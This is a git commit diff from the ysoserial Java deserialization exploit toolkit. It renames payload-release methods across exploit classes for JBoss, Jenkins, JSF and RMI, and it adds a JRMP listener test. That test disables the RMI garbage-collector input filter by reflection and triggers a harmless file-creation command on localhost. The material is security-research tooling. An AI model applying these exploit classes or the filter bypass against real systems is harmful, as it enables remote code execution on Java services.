jrmp listener test case

This commit is contained in:
Chris Frohoff
2022-05-09 21:04:00 -07:00
parent c6a0123f0b
commit 8804dcb1dd
22 changed files with 210 additions and 96 deletions
+1 -1
View File
@@ -34,7 +34,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
ObjectPayload.Utils.postSerializeRelease(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
+1 -1
View File
@@ -124,7 +124,7 @@ public class JBoss {
}
doRun(u, payloadObject, username, password);
Utils.releasePayload(args[1], payloadObject);
Utils.postSerializeRelease(args[1], payloadObject);
}
@@ -49,7 +49,7 @@ public class JRMPClient {
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
Utils.postSerializeRelease(args[2], payloadObject);
}
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
Utils.postSerializeRelease(args[1], payloadObject);
}
+1 -1
View File
@@ -71,7 +71,7 @@ public class JSF {
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
Utils.postSerializeRelease(args[1], payloadObject);
}
@@ -67,7 +67,7 @@ public class JenkinsCLI {
}
}
}
Utils.releasePayload(args[1], payloadObject);
Utils.postSerializeRelease(args[1], payloadObject);
}
public static Callable<?, ?> getPropertyCallable ( final Object prop )
@@ -196,7 +196,7 @@ public class JenkinsListener {
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
ObjectPayload.Utils.releasePayload(payload, object);
ObjectPayload.Utils.postSerializeRelease(payload, object);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
@@ -7,7 +7,6 @@ import java.rmi.registry.Registry;
import java.util.Random;
import hudson.remoting.Channel;
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils;
@@ -75,6 +74,6 @@ public class JenkinsReverse {
}
}
}
Utils.releasePayload(args[2], payloadObject);
Utils.postSerializeRelease(args[2], payloadObject);
}
}
@@ -78,7 +78,7 @@ public class RMIRegistryExploit {
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
Utils.postSerializeRelease(payloadObj, payload);
return null;
}});
}
@@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections;
} )
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
@Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
@@ -73,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
}
public void release ( DiskFileItem obj ) throws Exception {
public void postSerializeRelease(DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.ObjectTable;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable")
@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
@@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
return uro;
}
@Override
public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
// unexport ref to allow listener thread (and jvm) to exit
ObjectTable.unexportObject(obj, true);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
}
}
@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
@SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) {
( (ReleaseableObjectPayload) payload ).release(object);
public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof PostSerializeReleasable) {
((PostSerializeReleasable) payload).postSerializeRelease(object);
}
}
public static void releasePayload ( String payloadType, Object payloadObject ) {
public static void postSerializeRelease(String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
@@ -92,12 +92,17 @@ public interface ObjectPayload <T> {
try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
postSerializeRelease(payload, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof PostDeserializeReleasable) {
((PostDeserializeReleasable) payload).postDeserializeRelease(object);
}
}
}
}
@@ -0,0 +1,6 @@
package ysoserial.payloads;
public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
void postDeserializeRelease(T obj) throws Exception;
}
@@ -0,0 +1,5 @@
package ysoserial.payloads;
public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
void postSerializeRelease(T obj ) throws Exception;
}
@@ -1,11 +0,0 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release( T obj ) throws Exception;
}
@@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections;
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
@Authors({ Authors.JACOBAINES })
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
public DiskFileItem getObject(String command) throws Exception {
@@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
public void release(DiskFileItem obj) throws Exception {
public void postSerializeRelease(DiskFileItem obj) throws Exception {
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
@@ -2,7 +2,6 @@ package ysoserial.payloads.util;
import java.util.concurrent.Callable;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
@@ -16,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
@SuppressWarnings("unused")
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
return run(clazz, args, false);
}
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
// ensure payload generation doesn't throw an exception
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
final ObjectPayload<?> payload = clazz.newInstance();
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
Utils.postSerializeRelease(payload, objBefore);
return ser;
}});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
T deserialize = (T) deserialize(serialized);
if (releasePostDeserialize) {
Utils.postDeserializeRelease(payload, deserialize);
}
return deserialize;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private static String getDefaultTestCmd() {
@@ -1,9 +1,6 @@
package ysoserial.payloads.util;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.*;
import sun.reflect.ReflectionFactory;
@@ -29,27 +26,46 @@ public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
return field.get(obj);
}
public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
for (String fieldName : fieldNames) {
if (obj == null) {
throw new NullPointerException();
}
obj = getFieldValue(obj, fieldName);
}
return obj;
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
@@ -28,10 +28,14 @@ public class CommandExecTest implements CustomTest {
@Override
public String getPayloadArgs() {
return getTouchCmd(testFile.toString());
}
public static String getTouchCmd(String file) {
switch (OS.get()) {
case OSX:
case LINUX: return "touch " + testFile;
case WINDOWS: return "powershell -command new-item -type file " + testFile;
case LINUX: return "touch " + file;
case WINDOWS: return "powershell -command new-item -type file " + file;
default: throw new UnsupportedOperationException("unsupported os");
}
}
@@ -0,0 +1,66 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import sun.misc.ObjectInputFilter;
import sun.rmi.transport.ObjectTable;
import ysoserial.Strings;
import ysoserial.exploit.JRMPClient;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.util.Reflections;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import java.io.File;
import java.rmi.Remote;
import java.util.Random;
import java.util.concurrent.Callable;
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID());
private final int port = 16000 + new Random().nextInt(16000);
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file shouldn't exist", testFile.exists());
// disable ObjectInputFilter
Reflections.setFieldValue(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter", new Filter());
// open listener
Remote res = (Remote) payload.call();
try {
// send payload
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
} finally {
// close listener
// TODO move to postDeserRelease
ObjectTable.unexportObject(res, true);
}
}
@Override
public String getPayloadArgs() {
return "" + port;
}
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(JRMPListener.class, new Class[0]);
}
public Class[] getAddlClasses() {
return new Class[] { TestHarnessTest.ExecMockSerializable.class };
}
public static class Filter implements ObjectInputFilter {
@Override
public Status checkInput(FilterInfo filterInfo) {
return Status.ALLOWED;
}
}
}
@@ -0,0 +1,5 @@
package ysoserial.test.payloads;
public interface NeedsAddlClasses {
public Class[] getAddlClasses();
}
@@ -7,10 +7,7 @@ import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.*;
import java.util.concurrent.Callable;
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
@@ -25,7 +22,6 @@ import org.junit.runners.Parameterized.Parameters;
import ysoserial.*;
import ysoserial.payloads.DynamicDependencies;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.test.CustomTest;
import ysoserial.test.CustomDeserializer;
import ysoserial.test.CustomPayloadArgs;
@@ -75,7 +71,7 @@ public class PayloadsTest {
}
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader)
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
throws Exception {
System.out.println("Testing payload: " + payloadClass.getName());
@@ -123,6 +119,13 @@ public class PayloadsTest {
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
}
if (testHarness instanceof NeedsAddlClasses) {
List<Class> classes = new LinkedList<Class>();
classes.addAll(Arrays.asList(addlClassesForClassLoader));
classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
}
// TODO per-thread secmgr to enforce no detonation during deserialization
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
@@ -157,7 +160,7 @@ public class PayloadsTest {
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
byte[] serialized = Serializer.serialize(f);
ObjectPayload.Utils.releasePayload(payload, f);
ObjectPayload.Utils.postSerializeRelease(payload, f);
return serialized;
}
};
@@ -246,6 +249,7 @@ public class PayloadsTest {
// .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6
.withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
.withMavenCentralRepo(false)
.useLegacyLocalRepo(true)
// .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
.resolve(dependencies).withoutTransitivity().asFile()
: new File[0];